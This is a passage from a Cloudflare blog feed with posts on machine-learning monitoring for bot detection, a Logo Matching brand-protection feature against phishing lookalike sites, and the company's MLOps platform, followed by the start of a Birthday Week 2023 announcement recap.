    <p>Metrics computation is load balanced across <code>endeavour-worker</code> instances running across GPUs. From a system perspective, the <a href="https://airflow.apache.org/docs/apache-airflow/stable/administration-and-deployment/scheduler.html"><code>airflow-scheduler</code></a> adds a monitoring task to a <a href="https://redis.com/glossary/redis-queue/">Redis Queue</a> and <a href="https://airflow.apache.org/docs/apache-airflow/stable/core-concepts/executor/celery.html">Airflow Celery workers</a> running on each GPU will pull tasks off the queue for processing. We benefit from having a production service constantly powered by GPUs, as opposed to only running ad hoc model training workloads. As a result, the monitoring service acts as a health-check that ensures various Endeavour components are functioning properly on GPUs. This helps ensure the GPUs are always updated and ready to run model training/validation tasks.</p>
    <div>
      <h2>Machine learning monitoring in action</h2>
      <a href="#machine-learning-monitoring-in-action">
        
      </a>
    </div>
    <p>To better illustrate how Cloudflare uses machine learning monitoring, let’s explore some recent examples.</p>
    <div>
      <h2>Improving accuracy of machine learning bot detection</h2>
      <a href="#improving-accuracy-of-machine-learning-bot-detection">
        
      </a>
    </div>
    
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1mqzj2axLlpyV7dkdwX3Oo/47762be749130e966783c03bd3e3a274/Screenshot-2023-10-26-at-4.03.36-PM.png" />
            
            </figure><p>When the monitoring system was first deployed, we quickly found an anomaly: our model wasn’t performing well on web traffic using HTTP/3. At the time, HTTP/3 usage was hardly seen across the web, and the primary model in production wasn’t trained on HTTP/3 traffic, leading to inaccurate bot scores. Fortunately, another bot detection layer, our <a href="https://developers.cloudflare.com/bots/concepts/bot-score/#heuristics">heuristics engine</a>, was still accurately finding bots using HTTP/3 — so our customers were still covered.</p><p>Still, this finding pointed to a key area of improvement for the next model iteration. And we did improve: the next model iteration was consistently able to distinguish between bot and human initiated HTTP/3 web requests with over 3.5x higher accuracy compared to the prior model version. As we enable more datasets and specializations, we can uncover specific browsers, OSs and other dimensions where performance can be improved during model training.</p>
    <div>
      <h3>Early detection, quick intervention</h3>
      <a href="#early-detection-quick-intervention">
        
      </a>
    </div>
    <p>Deploying machine learning at a global scale, running in data centers spread over 100 countries around the world, is challenging. Things don’t always go to plan.</p><p>A couple of years ago, we deployed an update to our machine learning powered bot detections, and it led to an increase in false positive bot detections — we were incorrectly flagging some legitimate traffic as bot traffic. Our monitoring system quickly showed a drop in performance on residential ASNs where we expect mostly non-automated traffic.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7Kv74hWqjzZHzbP175NLGy/761d8f84c577923bfe4d85c58f3f7dae/Screenshot-2023-10-26-at-9.52.45-AM.png" />
            
            </figure><p><i>In the graph above, deployments are shown to three colo “tiers”, 1-3. Since software deployments start on tier 3 colocation centers and gradually move up to tier 1, the impact followed the same pattern.</i></p><p>At the same time, a software release was being deployed to our global network, but we didn’t know if it was the cause of the performance drop. We do staged deployments, updating the software in one batch of datacenters at a time before reaching global traffic. Our monitoring dashboards showed a drop in performance that followed this exact deployment pattern, and the release was starting to reach our biggest datacenters.</p><p>Monitoring dashboards clearly showed the pattern followed a software update. We reverted the change before the update made it to most of our datacenters and restored normal machine learning bot detection performance. Monitoring allows us to catch performance anomalies, dig into the root cause, and take action — fast.</p>
    <div>
      <h3>Model deployment monitoring for all</h3>
      <a href="#model-deployment-monitoring-for-all">
        
      </a>
    </div>
    <p>We’ve seen a lot of value in being able to monitor and control our models and deployments, and realized that other people must be running into the same challenges as well. Over the next few months, we'll be building out more advanced features for AI Gateway – our proxy that helps people observe and control their AI applications and models better. With AI Gateway, we can do all the same deployments, monitoring, and optimization strategies we have been doing for our Bot detection models in one unified control plane. We're excited to use these new features internally, but even more excited to release these features to the public, so that anyone is able to deploy, test, monitor and improve the way they use AI or machine learning models.</p>
    <div>
      <h3>Next up</h3>
      <a href="#next-up">
        
      </a>
    </div>
    <p>Today, machine learning monitoring helps us investigate performance issues and monitor performance as we roll out new models — and we're just getting started!</p><p>This year, we're accelerating our machine learning model iterations for bot detection to deliver improved detections faster than ever. Monitoring will be key for enabling fast and safe deployments. We’re excited to add alerting based on model performance - so that we’re automatically notified should model performance ever drift outside our expected bounds.</p><p>Alongside our <a href="/workers-ai/">Workers AI</a> launch, we recently deployed GPUs in 100+ cities, leveling up our compute resources at a global scale. This new infrastructure will unlock our model iteration process, allowing us to explore new, cutting-edge models with even more powerful bot detection capabilities. Running models on our GPUs will bring inference closer to users for better model performance and latency, and we’re excited to leverage our new GPU compute with our bot detection models as well.</p> ]]></content:encoded>
            <category><![CDATA[Bot Management]]></category>
            <category><![CDATA[Machine Learning]]></category>
            <category><![CDATA[Connectivity Cloud]]></category>
            <guid isPermaLink="false">1fmWxxkv3k1hd25nsFmWtG</guid>
            <dc:creator>Daniel Means</dc:creator>
        </item>
        <item>
            <title><![CDATA[Safeguarding your brand identity: Logo Matching for Brand Protection]]></title>
            <link>https://blog.cloudflare.com/safeguarding-your-brand-identity-logo-matching-for-brand-protection/</link>
            <pubDate>Thu, 15 Feb 2024 14:00:34 GMT</pubDate>
            <description><![CDATA[ Brand Protection's Logo Matching feature enables users to upload an image of the user’s logo or other brand image. The system scans URLs to discover matching logos and then presents the results for users to review ]]></description>
            <content:encoded><![CDATA[ <p></p><p>In an era dominated by digital landscapes, protecting your brand’s identity has become more challenging than ever. Malicious actors regularly build lookalike websites, complete with official logos and <a href="https://www.cloudflare.com/learning/ssl/what-is-domain-spoofing/">spoofed domains</a>, to try to dupe customers and employees. These kinds of <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/">phishing attacks</a> can damage your reputation, erode customer trust, or even result in data breaches.</p><p>In March 2023 we introduced Cloudflare’s Brand and Phishing Protection suite, beginning with <a href="/50-most-impersonated-brands-protect-phishing/">Brand Domain Name Alerts</a>. This tool recognizes so-called “confusable” domains (which can be nearly indistinguishable from their authentic counterparts) by sifting through the trillions of DNS requests passing through Cloudflare’s DNS resolver, 1.1.1.1. This helps brands and organizations stay ahead of malicious actors by spotting suspicious domains as soon as they appear in the wild.</p><p>Today we are excited to expand our Brand Protection toolkit with the addition of Logo Matching. Logo Matching is a powerful tool that allows brands to detect unauthorized logo usage: if Cloudflare detects your logo on an unauthorized site, you receive an immediate notification.</p><p>The new Logo Matching feature is a direct result of a frequent request from our users. Phishing websites often use official brand logos as part of their facade. In fact, the appearance of unauthorized logos is a strong signal that a hitherto dormant suspicious domain is being weaponized. Being able to identify these sites before they are widely distributed is a powerful tool in defending against phishing attacks. Organizations can use Cloudflare Gateway <a href="/2022-07-sms-phishing-attacks/">to block</a> employees from connecting to sites with a suspicious domain and unauthorized logo use.</p><p>Imagine having the power to fortify your brand's presence and reputation. By detecting instances where your logo is being exploited, you gain the upper hand in protecting your brand from potential fraud and phishing attacks.</p>
    <div>
      <h2>Getting started with Logo Matching</h2>
      <a href="#getting-started-with-logo-matching">
        
      </a>
    </div>
    <p>For most brands, the first step to leveraging Logo Matching will be to configure Domain Name Alerts. For example, we might decide to set up an alert for <i>example.com</i>, which will use fuzzy matching to detect lookalike, high-risk <a href="https://www.cloudflare.com/learning/dns/glossary/what-is-a-domain-name/">domain names</a>. All sites that trigger an alert are automatically analyzed by Cloudflare’s phishing scanner, which gathers technical information about each site, including SSL certificate data, HTTP request and response data, page performance data, <a href="https://www.cloudflare.com/learning/dns/dns-records/">DNS records</a>, and more — all of which inform a machine-learning based phishing risk analysis.</p><p>Logo Matching further extends this scan by looking for matching images. The system leverages image recognition algorithms to crawl through scanned domains, identifying matches even when images have undergone slight modifications or alterations.</p><p>Once configured, Domain Name Alerts and the scans they trigger will continue on an ongoing basis. In addition, Logo Matching monitors for images across all domains scanned by Cloudflare’s phishing scanner, including those scanned by other Brand Protection users, as well as scans initiated via the Cloudflare Radar URL scanner, and the <a href="https://developers.cloudflare.com/security-center/investigate/investigate-threats/">Investigate Portal</a> within Cloudflare’s Security Center dashboard.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/Ho5Hl0b6xXd8TCObhVqnb/af1d3a4784b87fb16d531e636e0e9999/image4-6.png" />
            
            </figure>
    <div>
      <h2>How we built Logo Matching for Brand Protection</h2>
      <a href="#how-we-built-logo-matching-for-brand-protection">
        
      </a>
    </div>
    
    <div>
      <h3>Under the hood of our API Insights</h3>
      <a href="#under-the-hood-of-our-api-insights">
        
      </a>
    </div>
    <p>Now, let's dive deeper into the engine powering this feature – our Brand Protection API. This API serves as the backbone of the entire process. Not only does it enable users to submit logos and brand images for scanning, but it also orchestrates the complex matching process.</p><p>When a logo is submitted through the API, the Logo Matching feature not only identifies potential matches but also allows customers to save a query, providing an easy way to refer back to their queries and see the most recent results. If a customer chooses to save a query, the logo is swiftly added to our data storage in <a href="https://www.cloudflare.com/developer-platform/products/r2/">R2</a>, Cloudflare’s zero egress fee <a href="https://www.cloudflare.com/learning/cloud/what-is-object-storage/">object storage</a>. This foundational feature enables us to continuously provide updated results without the customer having to create a new query for the same logo.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/48G6eXrF2XewJpjrlzbBdU/f327a4245d033aeebf6122095af8d92e/image2-11.png" />
            
            </figure><p>The API ensures real-time responses for logo submissions, simultaneously kick-starting our internal scanning pipelines. An image look-back ID is generated to facilitate seamless tracking and processing of logo submissions. This identifier allows us to keep a record of the submitted images, ensuring that we can efficiently manage and process them through our system.</p>
    <div>
      <h3>Scan result retrieval</h3>
      <a href="#scan-result-retrieval">
        
      </a>
    </div>
    <p>As images undergo scanning, the API remains the conduit for result retrieval. Its role here is to constantly monitor and provide the results in real time. During scanning, the API ensures users receive timely updates. If scanning is still in progress, a “still scanning” status is communicated. Upon completion, the API is designed to relay crucial information — details on matches if found, or a simple “no matches” declaration.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1FWft91GuiGRvUk3ZtxmxH/36e8fb3bf0c1b0a0f3c8af5005c572a0/image1-12.png" />
            
            </figure>
    <div>
      <h3>Storing and maintaining logo data</h3>
      <a href="#storing-and-maintaining-logo-data">
        
      </a>
    </div>
    <p>In the background, we maintain a vectorized version of all user-uploaded logos when the user query is saved. This system, acting as a logo matching subscriber, is entrusted with the responsibility of ensuring accurate and up-to-date logo matching.</p><p>To accomplish this, two strategies come into play. Firstly, the subscriber stays attuned to revisions in the logo set. It saves vectorized logo sets with every revision and regular checks are conducted by the subscriber to ensure alignment between the vectorized logos and those saved in the database.</p><p>While monitoring the query, the subscriber employs a diff-based strategy. This recalibrates the vectorized logo set against the current logos stored in the database, ensuring a seamless transition into processing.</p>
    <div>
      <h2>Shaping the future of brand protection: our roadmap ahead</h2>
      <a href="#shaping-the-future-of-brand-protection-our-roadmap-ahead">
        
      </a>
    </div>
    <p>With the introduction of the Logo Matching feature, Cloudflare’s Brand Protection suite advances to the next level of brand integrity management. By enabling you to detect and analyze, and act on unauthorized logo usage, we’re helping businesses to take better care of their brand identity.</p><p>At Cloudflare, we're committed to shaping a comprehensive brand protection solution that anticipates and mitigates risks proactively. In the future, we plan to add enhancements to our brand protection solution with features like automated cease and desist letters for swift legal action against unauthorized logo use, proactive domain monitoring upon onboarding, simplified reporting of brand impersonations and more.</p>
    <div>
      <h2>Getting started</h2>
      <a href="#getting-started">
        
      </a>
    </div>
    <p>If you’re an Enterprise customer, <a href="https://www.cloudflare.com/lp/brandprotection/">sign up for Beta Access</a> for Brand protection now to gain access to private scanning for your domains, logo matching, save queries and set up alerts on matched domains. Learn more about Brand Protection <a href="https://developers.cloudflare.com/security-center/brand-protection/">here</a>.</p> ]]></content:encoded>
            <category><![CDATA[Product News]]></category>
            <category><![CDATA[Brand Protection]]></category>
            <category><![CDATA[Brand]]></category>
            <category><![CDATA[Fraud]]></category>
            <category><![CDATA[Phishing]]></category>
            <category><![CDATA[Image Recognition]]></category>
            <category><![CDATA[Machine Learning]]></category>
            <category><![CDATA[Security]]></category>
            <guid isPermaLink="false">5yEDWpQ6C6r0cHoEee3Y6O</guid>
            <dc:creator>Alexandra Moraru</dc:creator>
        </item>
        <item>
            <title><![CDATA[A look inside the Cloudflare ML Ops platform]]></title>
            <link>https://blog.cloudflare.com/mlops/</link>
            <pubDate>Thu, 07 Dec 2023 14:00:42 GMT</pubDate>
            <description><![CDATA[ To help our team continue to innovate efficiently, our MLOps effort has collaborated with Cloudflare’s data scientists to implement the following best practices ]]></description>
            <content:encoded><![CDATA[ <p></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4GvjtY1dTv1z9QsDBcP5q9/9430817e4123b426b6e26b1ef02d361a/image1.png" />
            
            </figure><p>We've been relying on ML and AI for our core services like Web Application Firewall (WAF) since the early days of Cloudflare. Through this journey, we've learned many lessons about running AI deployments at scale, and all the tooling and processes necessary. We recently launched <a href="/workers-ai/">Workers AI</a> to help abstract a lot of that away for inference, giving developers an easy way to leverage powerful models with just a few lines of code. In this post, we’re going to explore some of the lessons we’ve learned on the other side of the ML equation: <i>training</i>.</p><p>Cloudflare has extensive experience training models and using them to improve our products. A constantly-evolving ML model drives the <a href="/data-generation-and-sampling-strategies/">WAF attack score</a> that helps protect our customers from malicious payloads. Another evolving model powers our <a href="/stop-the-bots-practical-lessons-in-machine-learning/">bot management</a> product to catch and <a href="/cloudflare-bot-management-machine-learning-and-more/">prevent bot attacks</a> on our <a href="/machine-learning-mobile-traffic-bots/">customers</a>. Our customer support is <a href="/using-data-science-and-machine-learning-for-improved-customer-support/">augmented by data science</a>. We build machine learning to <a href="/threat-detection-machine-learning-models/">identify threats</a> with our global network. To top it all off, Cloudflare is delivering <a href="/scalable-machine-learning-at-cloudflare/">machine learning at unprecedented scale</a> across our network.</p><p>Each of these products, along with many others, has elevated ML models — including experimentation, training, and deployment — to a crucial position within Cloudflare. To help our team continue to innovate efficiently, our MLOps effort has collaborated with Cloudflare’s data scientists to implement the following best practices.</p>
    <div>
      <h3>Notebooks</h3>
      <a href="#notebooks">
        
      </a>
    </div>
    <p>Given a use case and data, the first step for many Data Scientist/AI Scientists is to set up an environment for exploring data, feature engineering, and model experiments. <a href="https://docs.jupyter.org/en/latest/start/index.html">Jupyter Notebooks</a> are a common tool to satisfy these requirements. These environments provide an easy remote Python environment that can be run in the browser or connected to a local code editor. To make notebooks scalable and open to collaboration, we deploy <a href="https://jupyter.org/hub">JupyterHub</a> on Kubernetes. With JupyterHub, we can manage resources for teams of Data Scientists and ensure they get a suitable development environment. Each team can tailor their environment by pre-installing libraries and configuring user environments to meet the specific needs, or even individual projects.</p><p>This notebook space is always evolving as well. Open source projects include further features, such as:</p><ul><li><p><a href="https://nbdev.fast.ai/">nbdev</a> - a Python package to improve the notebook experience</p></li><li><p><a href="https://www.kubeflow.org/docs/components/notebooks/overview/">Kubeflow</a> - the kubernetes native CNCF project for machine learning</p></li><li><p><a href="https://www.deploykf.org/">deployKF</a> - ML Platforms on any Kubernetes cluster, with centralized configs, in-place upgrades, and support for leading ML &amp; Data tools like Kubeflow, Airflow, and MLflow</p></li></ul>
    <div>
      <h3>GitOps</h3>
      <a href="#gitops">
        
      </a>
    </div>
    <p>Our goal is to provide an easy-to-use platform for Data Scientists and AI Scientists to develop and test machine learning models quickly. Hence, we are adopting GitOps as our continuous delivery strategy and infrastructure management on MLOps Platform in Cloudflare. GitOps is a software development methodology that leverages Git, a distributed version control system, as the single source of truth for defining and managing infrastructure, application configurations, and deployment processes. It aims to automate and streamline the deployment and management of applications and infrastructure in a declarative and auditable manner. GitOps aligns well with the principles of automation and collaboration, which are crucial for <a href="https://www.cloudflare.com/learning/ai/what-is-machine-learning/">machine learning (ML)</a> workflows. GitOps leverages Git repositories as the source of truth for declarative infrastructure and application code.</p><p>A data scientist needs to define the desired state of infrastructure and applications. This usually takes a lot of custom work, but with <a href="https://argo-cd.readthedocs.io/en/stable/">ArgoCD</a> and model templates, all it takes is a simple pull request to add new applications. Helm charts and Kustomize are both supported to allow for configuration for different environments and jobs. With ArgoCD, declarative GitOps will then start the Continuous Delivery process. ArgoCD will continuously check the desired state of the infrastructure and applications to ensure that they are synched with the Git repository.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/46I2rJ6bnhsXmVC8f7sK3i/7b47bc18341611aad94ebbb81cb30be3/image2.png" />
            
            </figure><p>In the future, we plan to migrate our platform (including Jupyterhub) to <a href="https://www.kubeflow.org/">Kubeflow</a>, a machine learning workflow platform on Kubernetes that simplifies the development, deployment, and management of notebooks and end-to-end pipelines. This is best deployed using a new project, <a href="https://www.deploykf.org/">deployKF</a>, which allows for distributed configuration management across multiple components available with Kubeflow, and others that extend beyond what is offered within Kubeflow.</p>
    <div>
      <h3>Templates</h3>
      <a href="#templates">
        
      </a>
    </div>
    <p>Starting a project with the right tools and structure can be the difference between success and stagnation. Within Cloudflare, we've curated an array of model templates, which are production ready data science repositories with an example model. These model templates are deployed through production to continually ensure they are a stable foundation for future projects. To start a new project, all it takes is one Makefile command to build a new CICD project in the git project of the users’ choosing. These template utility packages are identical to those used in our Jupyter Notebooks and connections to R2 / S3 / GCS buckets, D1 / Postgres / Bigquery / Clickhouse databases. Data scientists can use these templates to instantly kickstart new projects with confidence. These templates are not yet publicly available, but our team plans to open source them in the future.</p><p><b>1. Training Template</b>Our model training template provides a solid foundation to build any model. This is configured to help extract, transform, and load data (ETL) from any data source. The template includes helper functions for feature engineering, tracking experiments with model metadata, and choose orchestration through a Directed Acyclic Graph (DAG) to productionalize the model pipeline. Each orchestration can be configured to use <a href="https://github.com/airflow-helm/charts">Airflow</a> or <a href="https://argoproj.github.io/argo-workflows/">Argo Workflows</a>.</p><p><b>2. Batch Inference Template</b>Batch and micro-batch inference can make a significant impact on processing efficiency. Our batch inference model template to schedule models for consistent results, and can be configured to use <a href="https://github.com/airflow-helm/charts">Airflow</a> or <a href="https://argoproj.github.io/argo-workflows/">Argo Workflows</a>.</p><p><b>3. Stream Inference Template</b>This template makes it easy for our team to deploy real-time inference. Tailored for Kubernetes as a microservice using <a href="https://fastapi.tiangolo.com/">FastAPI</a>, this template allows our team to run inference using familiar Python in a container. This microservice already has built-in REST interactive documentation with <a href="https://swagger.io/">Swagger</a> and integration with Cloudflare Access authentication tokens in <a href="https://developers.cloudflare.com/cloudflare-one/api-terraform/access-with-terraform/">terraform</a>.</p><p><b>4. Explainability Template</b>Our model template for explainability spins up dashboards to illuminate the model type and experiments. It is important to be able to understand key values such as a time window F1 score, the drift of features and data over time. Tools like <a href="https://streamlit.io/">Streamlit</a> and <a href="https://bokeh.org/">Bokeh</a> help to make this possible.</p>
    <div>
      <h3>Orchestration</h3>
      <a href="#orchestration">
        
      </a>
    </div>
    <p>Organizing data science into a consistent pipeline involves a lot of data and several model versions. Enter Directed Acyclic Graphs (DAGs), a robust flow chart orchestration paradigm that weaves together the steps from data to model, and model to inference. There are many unique approaches to running DAG pipelines, but we have found that data science teams' preference comes first. Each team has different approaches based on their use cases and experience.</p><p><a href="https://github.com/airflow-helm/charts"><b>Apache Airflow</b></a> <b>- The Standard DAG Composer</b>Apache Airflow is the standard as a DAG (Directed Acyclic Graphs)-based orchestration approach. With a vast community and extensive plugin support, <a href="/automating-data-center-expansions-with-airflow/">Airflow excels in handling diverse workflows</a>. The flexibility to integrate with a multitude of systems and a web-based UI for task monitoring make it a popular choice for orchestrating complex sequences of tasks. Airflow can be used to run any data or machine learning workflow.</p><p><a href="https://argoproj.github.io/argo-workflows/"><b>Argo Workflows</b></a> <b>- Kubernetes-native Brilliance</b>Built for Kubernetes, Argo Workflows embraces the container ecosystem for orchestrating workflows. It boasts an intuitive YAML-based workflow definition and excels in running microservices-based workflows. The integration with Kubernetes enables scalability, reliability, and native container support, making it an excellent fit for organizations deeply rooted in the Kubernetes ecosystem. Argo Workflows can also be used to run any data or machine learning workflow.</p><p><a href="https://www.kubeflow.org/docs/components/pipelines/v2/introduction/"><b>Kubeflow Pipelines</b></a> <b>- A Platform for Workflows</b>Kubeflow Pipelines is a more specific approach tailored for orchestrating machine learning workflows. “KFP” aims to address the unique demands of data preparation, model training, and deployment in the ML landscape. As an integrated component of the Kubeflow ecosystem, it streamlines ML workflows with a focus on collaboration, reusability, and versioning. Its compatibility with Kubernetes ensures seamless integration and efficient orchestration.</p><p><a href="https://temporal.io/"><b>Temporal</b></a> <b>- The Stateful Workflow Enabler</b>Temporal takes a stance by emphasizing the orchestration of long-running, stateful workflows. This relative newcomer shines in managing resilient, event-driven applications, preserving workflow state and enabling efficient recovery from failures. The unique selling point lies in its ability to manage complex, stateful workflows, providing a durable and fault-tolerant orchestration solution.</p><p>In the orchestration landscape, the choice ultimately boils down to the team and use case. These are all open source projects, so the only limitation is support for different styles of work, which we find is worth the investment.</p>
    <div>
      <h3>Hardware</h3>
      <a href="#hardware">
        
      </a>
    </div>
    <p>Achieving optimal performance necessitates an understanding of workloads and the underlying use cases in order to provide teams with <a href="/cloudflares-gen-x-servers-for-an-accelerated-future/">effective hardware</a>. The goal is to enable data scientists and strike a balance between enablement and utilization. Each workload is different, and it is important to fine tune each use case for the capabilities of <a href="/bringing-ai-to-the-edge/">GPUs</a> and <a href="/debugging-hardware-performance-on-gen-x-servers/">CPUs</a> to find the perfect tool for the job.  For core datacenter workloads and edge inference, GPUs have leveled up the speed and efficiency that is core to our business. With <a href="https://www.cloudflare.com/learning/performance/what-is-observability/">observability</a> and metrics consumed by <a href="https://prometheus.io/">Prometheus</a>, metrics enable us to track orchestration to be optimized for <a href="/getting-to-the-core/">performance</a>, maximize hardware utilization, and operate within a Kubernetes-native experience.</p>
    <div>
      <h3>Adoption</h3>
      <a href="#adoption">
        
      </a>
    </div>
    <p>Adoption is often one of the most challenging steps in the MLops journey. Before jumping into building, it is important to understand the different teams and their approach to data science. At Cloudflare, this process began years ago, when each of the teams started their own machine learning solutions separately. As these solutions evolved, we ran into the common challenge of working across the company to prevent work from becoming isolated from other teams. In addition, there were other teams that had potential for machine learning but did not have data science expertise within their team. This presented an opportunity for MLops to step in — both to help streamline and standardize the ML processes being employed by each team, and to introduce potential new projects to data science teams to start the ideation and discovery process.</p><p>When able, we have found the most success when we can help get projects started and shape the pipelines for success. Providing components for shared use such as notebooks, orchestration, data versioning (DVC), feature engineering (Feast), and model versioning (MLflow) allow for teams to collaborate directly.</p>
    <div>
      <h3>Looking forward</h3>
      <a href="#looking-forward">
        
      </a>
    </div>
    <p>There is no doubt that data science is <a href="/best-place-region-earth-inference/">evolving our business</a> and the <a href="/ai-companies-building-cloudflare/">businesses of our customers</a>. We improve our own products with models, and have built <a href="/announcing-ai-gateway/">AI infrastructure</a> that can help us <a href="https://www.cloudflare.com/application-services/solutions/">secure applications</a> and <a href="/secure-generative-ai-applications/">applications built with AI</a>. We can leverage the <a href="/workers-ai/">power of our network to deliver AI</a> for us and our customers. We have partnered with <a href="/partnering-with-hugging-face-deploying-ai-easier-affordable/">machine</a> <a href="https://www.cloudflare.com/press-releases/2023/cloudflare-partners-with-databricks">learning</a> <a href="https://www.cloudflare.com/press-releases/2023/cloudflare-and-meta-collaborate-to-make-llama-2-available-globally">giants</a> to make it easier for the data science community to deliver real value from data.</p><p>The call to action is this: join the <a href="https://discord.com/invite/cloudflaredev">Cloudflare community</a> in bringing modern software practices and tools to data science. Be on the lookout for more data science from Cloudflare. Help us securely leverage data to help build a better Internet.</p> ]]></content:encoded>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Data]]></category>
            <category><![CDATA[Developers]]></category>
            <category><![CDATA[Machine Learning]]></category>
            <category><![CDATA[MLops]]></category>
            <category><![CDATA[Hardware]]></category>
            <guid isPermaLink="false">1NOp4Ep4CYMxL6OYRa2FaU</guid>
            <dc:creator>Keith Adler</dc:creator>
            <dc:creator>Rio Harapan Pangihutan</dc:creator>
        </item>
        <item>
            <title><![CDATA[Birthday Week recap: everything we announced — plus an AI-powered opportunity for startups]]></title>
            <link>https://blog.cloudflare.com/birthday-week-2023-wrap-up/</link>
            <pubDate>Mon, 02 Oct 2023 13:00:24 GMT</pubDate>
            <description><![CDATA[ Need a recap or refresher on all the big Birthday Week news this week? This recap has you covered ]]></description>
            <content:encoded><![CDATA[ <p></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3xrCvUVi0SgWrjDPrwi77i/2097296d3db2c219c5e0e904fe19adfb/image1-45.png" />
            
            </figure><p>This year, Cloudflare officially became a teenager, turning 13 years old. We celebrated this milestone with a series of announcements that benefit both our customers and the Internet community.</p><p>From developing applications in the age of AI to securing against the most advanced attacks that are yet to come, Cloudflare is proud to provide the tools that help our customers stay one step ahead.</p><p>We hope you’ve had a great time following along and for anyone looking for a recap of everything we launched this week, here it is:</p>
    <div>
      <h3>Monday</h3>
      <a href="#monday">
        
      </a>
    </div>
    <table><colgroup><col></col><col></col></colgroup><tbody><tr><td><p><span>What</span></p></td><td><p><span>In a sentence…</span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/switching-cloudflare-cut-your-network-carbon-emissions-sbti/"><span>Switching to Cloudflare can cut emissions by up to 96%</span></a></p></td><td><p><span>Switching enterprise network services from on-prem to Cloudflare can cut related carbon emissions by up to 96%. </span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/traffic-transparency-unleashing-cloudflare-trace/"><span>Cloudflare Trace</span></a></p></td><td><p><span>Use Cloudflare Trace to see which rules and settings are invoked when an HTTP request for your site goes through our network. </span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/cloudflare-fonts-enhancing-website-privacy-speed/"><span>Cloudflare Fonts</span></a></p></td><td><p><span>Introducing Cloudflare Fonts. Enhance privacy and performance for websites using Google Fonts by loading fonts directly from the Cloudflare network. </span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/meet-traffic-manager/"><span>How Cloudflare intelligently routes traffic</span></a></p></td><td><p><span>Technical deep dive that explains how Cloudflare uses machine learning to intelligently route traffic through our vast network. </span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/cloudflare-stream-low-latency-hls-open-beta/"><span>Low Latency Live Streaming</span></a></p></td><td><p><span>Cloudflare Stream’s LL-HLS support is now in open beta. You can deliver video to your audience faster, reducing the latency a viewer may experience on their player to as little as 3 seconds. </span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/permissions-best-practices/"><span>Account permissions for all</span></a></p></td><td><p><span>Cloudflare account permissions are now available to all customers, not just Enterprise. In addition, we’ll show you how you can use them and best practices. </span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/incident-alerts/"><span>Incident Alerts</span></a></p></td><td><p><span>Customers can subscribe to Cloudflare Incident Alerts and choose when to get notified based on affected products and level of impact. </span></p></td></tr></tbody></table>
    <div>
      <h3>Tuesday</h3>
      <a href="#tuesday">
        
      </a>
    </div>
    <table><colgroup><col></col><col></col></colgroup><tbody><tr><td><p><span>What</span></p></td><td><p><span>In a sentence…</span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/welcome-to-connectivity-cloud/"><span>Welcome to the connectivity cloud</span></a></p></td><td><p><span>Cloudflare is the world’s first connectivity cloud — the modern way to connect and protect your cloud, networks, applications and users. </span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/amazon-2bn-ipv4-tax-how-avoid-paying/"><span>Amazon’s $2bn IPv4 tax — and how you can avoid paying it</span></a><span> </span></p></td><td><p><span>Amazon will begin taxing their customers $43 for IPv4 addresses, so Cloudflare will give those \$43 back in the form of credits to bypass that tax. </span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/sippy-incremental-migration-s3-r2/"><span>Sippy</span></a></p><br /></td><td><p><span>Minimize egress fees by using Sippy to incrementally migrate your data from AWS to R2. </span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/merging-images-and-image-resizing/"><span>Cloudflare Images</span></a></p></td><td><p><span>All Image Resizing features will be available under Cloudflare Images and we’re simplifying pricing to make it more predictable and reliable.  </span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/traffic-anomalies-notifications-radar/"><span>Traffic anomalies and notifications with Cloudflare Radar</span></a></p></td><td><p><span>Cloudflare Radar will be publishing anomalous traffic events for countries and Autonomous Systems (ASes).</span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/detecting-internet-outages/"><span>Detecting Internet outages</span></a></p></td><td><p><span>Deep dive into how Cloudflare detects Internet outages, the challenges that come with it, and our approach to overcome these problems. </span></p></td></tr></tbody></table>
    <div>
      <h3>Wednesday</h3>
      <a href="#wednesday">
        
      </a>
    </div>
    <table><colgroup><col></col><col></col></colgroup><tbody><tr><td><p><span>What</span></p></td><td><p><span>In a sentence…</span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/best-place-region-earth-inference/"><span>The best place on Region: Earth for inference</span></a></p></td><td><p><span>Now available: Workers AI, a serverless GPU cloud for AI, Vectorize so you can build your own vector databases, and AI Gateway to help manage costs and observability of your AI applications. </span></p><br /><p><span>Cloudflare delivers the best infrastructure for next-gen AI applications, supported by partnerships with NVIDIA, Microsoft, Hugging Face, Databricks, and Meta.</span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/workers-ai/"><span>Workers AI </span></a></p></td><td><p><span>Launching Workers AI — AI inference as a service platform, empowering developers to run AI models with just a few lines of code, all powered by our global network of GPUs. </span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/partnering-with-hugging-face-deploying-ai-easier-affordable/"><span>Partnering with Hugging Face </span></a></p></td><td><p><span>Cloudflare is partnering with Hugging Face to make AI models more accessible and affordable to users. </span></p></td></tr><tr><td><p><a 